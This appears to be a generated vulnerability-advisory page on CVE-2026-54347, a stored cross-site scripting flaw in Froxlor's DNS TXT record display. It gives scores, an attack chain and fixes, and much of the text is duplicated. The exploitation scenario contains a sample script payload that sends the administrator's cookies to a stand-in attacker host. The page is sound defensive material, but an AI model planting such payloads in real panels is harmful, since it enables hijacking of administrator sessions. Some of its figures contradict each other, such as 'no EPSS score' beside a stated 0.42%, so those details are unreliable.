CVE-2026-54347: Panel stored XSS — HIGH

Q: Is CVE-2026-54347 actively exploited?

No confirmed active exploitation of CVE-2026-54347 has been reported, but organizations should still patch proactively.

Q: How to fix CVE-2026-54347?

1) Upgrade to Froxlor 2.3.8 or later, which fixes the missing output escaping in Text::wordwrap and removes the unsafe `raw` Twig filter usage in table.html.twig (commit a1d8f425). 2) Until patched, restrict the DNS editor role/permission to trusted customer accounts only — this is the sole precondition attackers need. 3) Apply a strict admin-panel CSP (disallow inline scripts) as a compensating control against stored XSS. 4) Review Froxlor admin activity/audit logs for unexpected privileged actions (new admin accounts, customer modifications) immediately after any DNS zone review. 5) Track the other 59 known CVEs in this package and the 6.8/10 OpenSSF Scorecard as an indicator of broader code-quality/security-process maturity when deciding on compensating controls.

Q: What is the CVSS score for CVE-2026-54347?

CVE-2026-54347 has a CVSS v3.1 base score of 8.7 (HIGH). The EPSS exploitation probability is 0.42%.

CISO Take

Froxlor's DNS zone editor fails to HTML-escape TXT record content before rendering it in the admin panel, so a customer with DNS editor permissions can plant a JavaScript payload that fires automatically when an administrator opens that domain's DNS configuration — a stored XSS scored 8.7 (scope-changed, high confidentiality and integrity impact). Note upfront: Froxlor is a general-purpose hosting/server control panel, not an AI/ML tool — it's tagged ml_ui in this feed but has no direct AI attack surface, so treat this as generic hosting-infrastructure risk rather than AI-specific threat intel. The practical exposure hinges on trust boundaries: in Froxlor's typical shared/reseller hosting deployments, any of numerous low-privileged customer accounts can trigger this against an administrator, and success enables session hijacking and privileged panel actions (e.g., creating admin accounts). There is no public PoC, no Nuclei template, no EPSS score, and it is not in CISA KEV, so this looks like a disclosed weakness rather than an actively exploited one. Action: upgrade to Froxlor 2.3.8 (fix commit a1d8f425) and, until patched, restrict DNS editor role assignment to trusted customers and audit admin activity logs for unexpected account or config changes following DNS zone views.

Sources:NVDGitHub AdvisoryOpenSSF

What is the risk?

High CVSS (8.7) driven by scope change and full confidentiality/integrity impact on the admin session, but real-world exploitability is bounded: it requires an authenticated account with DNS editor privileges (PR:L) plus a specific administrator action (UI:R — opening the affected domain's DNS view). No public exploit code, no scanner template, no EPSS data, and no CISA KEV listing exist, indicating this is currently a disclosed-but-unweaponized vulnerability. Risk rises sharply in multi-tenant/reseller Froxlor deployments where many low-trust customer accounts have DNS editor access, since any one of them is a potential attack vector against the admin.

How does the attack unfold?

Initial Access

Attacker uses a legitimate low-privilege Froxlor customer account with DNS editor permission.

Stored Payload Injection

Attacker adds a TXT record containing an unescaped HTML/JavaScript payload via the DomainZones API.

Trigger via Admin Review

An administrator opens the affected domain's DNS configuration page, and the panel renders the payload without escaping.

Impact

The injected script executes in the administrator's session, enabling session data theft or privileged panel actions like creating new admin accounts.

Initial Access

Attacker uses a legitimate low-privilege Froxlor customer account with DNS editor permission.

Stored Payload Injection

Attacker adds a TXT record containing an unescaped HTML/JavaScript payload via the DomainZones API.

Trigger via Admin Review

An administrator opens the affected domain's DNS configuration page, and the panel renders the payload without escaping.

Impact

The injected script executes in the administrator's session, enabling session data theft or privileged panel actions like creating new admin accounts.

What systems are affected?

Package	Ecosystem	Vulnerable Range	Patched
Panel	composer	<= 2.3.7	`2.3.8`
5.8KOpenSSF 6.5514 dependentsPushed today67% patched~15d to patchFull package profile →

Do you use Panel? You're affected.

How severe is it?

CVSS 3.1

8.7 / 10

EPSS

0.4%

chance of exploitation in 30 days

Higher than 36% of all CVEs

Source: EPSS v3 — FIRST.org

Exploitation Status

No known exploitation

Sophistication

Trivial

What is the attack surface?

AVNetwork

ACLow

PRLow

UIRequired

SChanged

CHigh

IHigh

ANone

What should I do?

1 step

1) Upgrade to Froxlor 2.3.8 or later, which fixes the missing output escaping in Text::wordwrap and removes the unsafe raw Twig filter usage in table.html.twig (commit a1d8f425). 2) Until patched, restrict the DNS editor role/permission to trusted customer accounts only — this is the sole precondition attackers need. 3) Apply a strict admin-panel CSP (disallow inline scripts) as a compensating control against stored XSS. 4) Review Froxlor admin activity/audit logs for unexpected privileged actions (new admin accounts, customer modifications) immediately after any DNS zone review. 5) Track the other 59 known CVEs in this package and the 6.8/10 OpenSSF Scorecard as an indicator of broader code-quality/security-process maturity when deciding on compensating controls.

What does CISA's SSVC say?

DecisionTrack

Exploitationnone

AutomatableNo

Technical Impacttotal

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Code ExecutionPrivacy ViolationFramework

Which compliance frameworks are affected?

Compliance analysis pending. Sign in for full compliance mapping when available.

Frequently Asked Questions

What is CVE-2026-54347?

Froxlor's DNS zone editor fails to HTML-escape TXT record content before rendering it in the admin panel, so a customer with DNS editor permissions can plant a JavaScript payload that fires automatically when an administrator opens that domain's DNS configuration — a stored XSS scored 8.7 (scope-changed, high confidentiality and integrity impact). Note upfront: Froxlor is a general-purpose hosting/server control panel, not an AI/ML tool — it's tagged ml_ui in this feed but has no direct AI attack surface, so treat this as generic hosting-infrastructure risk rather than AI-specific threat intel. The practical exposure hinges on trust boundaries: in Froxlor's typical shared/reseller hosting deployments, any of numerous low-privileged customer accounts can trigger this against an administrator, and success enables session hijacking and privileged panel actions (e.g., creating admin accounts). There is no public PoC, no Nuclei template, no EPSS score, and it is not in CISA KEV, so this looks like a disclosed weakness rather than an actively exploited one. Action: upgrade to Froxlor 2.3.8 (fix commit a1d8f425) and, until patched, restrict DNS editor role assignment to trusted customers and audit admin activity logs for unexpected account or config changes following DNS zone views.

Is CVE-2026-54347 actively exploited?

No confirmed active exploitation of CVE-2026-54347 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-54347?

1) Upgrade to Froxlor 2.3.8 or later, which fixes the missing output escaping in Text::wordwrap and removes the unsafe `raw` Twig filter usage in table.html.twig (commit a1d8f425). 2) Until patched, restrict the DNS editor role/permission to trusted customer accounts only — this is the sole precondition attackers need. 3) Apply a strict admin-panel CSP (disallow inline scripts) as a compensating control against stored XSS. 4) Review Froxlor admin activity/audit logs for unexpected privileged actions (new admin accounts, customer modifications) immediately after any DNS zone review. 5) Track the other 59 known CVEs in this package and the 6.8/10 OpenSSF Scorecard as an indicator of broader code-quality/security-process maturity when deciding on compensating controls.

What is the CVSS score for CVE-2026-54347?

CVE-2026-54347 has a CVSS v3.1 base score of 8.7 (HIGH). The EPSS exploitation probability is 0.42%.

What are the technical details?

Original Advisory

Froxlor is open source server administration software. Prior to 2.3.8, DNS TXT record content accepted by lib/Froxlor/Api/Commands/DomainZones.php can contain HTML special characters, lib/Froxlor/UI/Callbacks/Text.php returns the content from Text::wordwrap without HTML escaping, and templates/Froxlor/table/table.html.twig renders the callback result with the raw filter. An authenticated customer with DNS editor access can store JavaScript-bearing content in a TXT record. When an administrator views the affected domain's DNS configuration, the payload executes automatically in the administrator's browser session, which can expose session data or perform privileged panel actions. This issue is fixed in version 2.3.8.

Exploitation Scenario

An attacker who controls (or compromises) a low-privilege Froxlor customer account with DNS editor rights adds a crafted TXT record to one of their domain zones, e.g. containing `"><script>fetch('https://attacker.example/steal?c='+document.cookie)</script>`. The value passes through DomainZones.php unsanitized, is later rendered by Text::wordwrap without escaping, and is injected raw into the admin table template. When a Froxlor administrator opens that customer's domain in the DNS configuration view, the script executes in the administrator's authenticated browser session — exfiltrating session tokens or silently issuing privileged panel API calls (e.g., creating a new admin user or modifying other customers' accounts) on the administrator's behalf.

Weaknesses (CWE)

CWE-79Improper Neutralization of Input During Web Page GenerationPrimary CWE-79Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')Primary CWE-79Improper Neutralization of Input During Web Page Generation

CWE-79 — Improper Neutralization of Input During Web Page Generation: The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

[Architecture and Design] Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
[Implementation, Architecture and Design] Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Parts of the same output document may require different encodings, which will vary depending on whether the output is in the: etc. Note that HTML Entity Encoding is only appropriate for the HTML body. Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed. HTML body Element attributes (such as src="XYZ") URIs JavaScript sections Casca

Source: MITRE CWE corpus.